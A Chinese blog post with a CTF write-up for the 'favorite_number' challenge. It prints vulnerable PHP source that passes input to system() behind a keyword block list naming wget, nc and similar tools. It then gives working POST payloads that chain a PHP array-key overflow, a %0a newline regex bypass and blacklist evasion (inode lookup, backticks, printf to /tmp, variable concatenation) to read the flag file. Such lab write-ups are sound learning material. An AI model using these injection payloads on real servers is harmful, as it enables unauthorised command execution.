NineOnee

导航

 

favorite_number

知识点

php数组key溢出

经试验在php5的版本中,存在php数组key溢出,可以看到在$arr 数组里,没有定义$arr[0]='admin' ,定义的[4294967296]='admin',但是$arr===$array 却是返回的true,并且$arr[0]!='admin' ,返回true,别问,问就是我也不知道为什么。。参考https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/,

![](../image/113.png

)

%0a绕过正则

preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。


%0a 经过url编码后表示换行符,相当于分号(;)的作用

使用inode绕过关键字

inode

Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。可以通过ls -i 列出文件名和inode号码


反引号``

反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`


设置环境变量绕过关键字限制


将命令写入文件后执行绕过关键字限制

本来也可以用echo,但是echo被禁用了


可以看到,使用printf将字符串写进文件时可以打引号也可以不打引号,>表示重写文件,>>表示在原有的基础上继续写文件。

思路

进去题目,审计源码

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

第一关:

传进去的数组要求等于$array 数组,还是个强等于,并且要求第一个元素又不是admin,这怎么可能,好吧,是我孤陋寡闻了,看了wp才知道key溢出,原理我也不晓得。。

构造payload

[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1

回显成功:my favorite num is:1

说明绕过成功

第二关:

正则要求$num 只能是数字,但是后面有个/m,我们就可以用%0a进行绕过

构造payload

[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1%0als

stuff[4294967296] =admin&stuff[1]=user&num=1%0als \

执行成功

第三关:

我们要读取flag文件,但是flag被过滤了,cat也被过滤了,但是没关系,我们还有如下命令可以用


但是我们还要绕过flag的书写,这就要用到上面的知识点了

payload1:stuff[4294967296] =admin&stuff[1]=user&num=1%0als -i /;tac `find / -inum 30415147 `;
payload2:stuff[4294967296] =admin&stuff[1]=user&num=1%0aprintf /fla>/tmp/1.txt;printf g>>/tmp/1.txt;tac `tac /tmp/1.txt`; //注意因为过滤了"",所以写字符串的时候没有加引号
payload3:stuff[4294967296] =admin&stuff[1]=user&num=1%0a a=/fl;b=ag;tac $a$b;

错误姿势

一开始我想着闭合system函数

就构造了个?num=11) and system('ls'); 然后发现不行

后来又构造了个?num=11) & system('ls'); 还是不行

之前所做的题目前面有个assert()函数,将里面的字符串当做了Php执行,所以存在闭合,而这里没有assert()之类的函数,所以闭合不行。并且&在url中具有特殊含义

这样闭合没有出system的范围,所以有用。


特别注意,eval函数里面要执行的字符串,要想执行成功,必须以分号(;)结尾。

参考博客:ctf中的php漏洞利用总结

posted on 2020-11-09 23:32  NineOne_E  阅读(418)  评论(0编辑  收藏  举报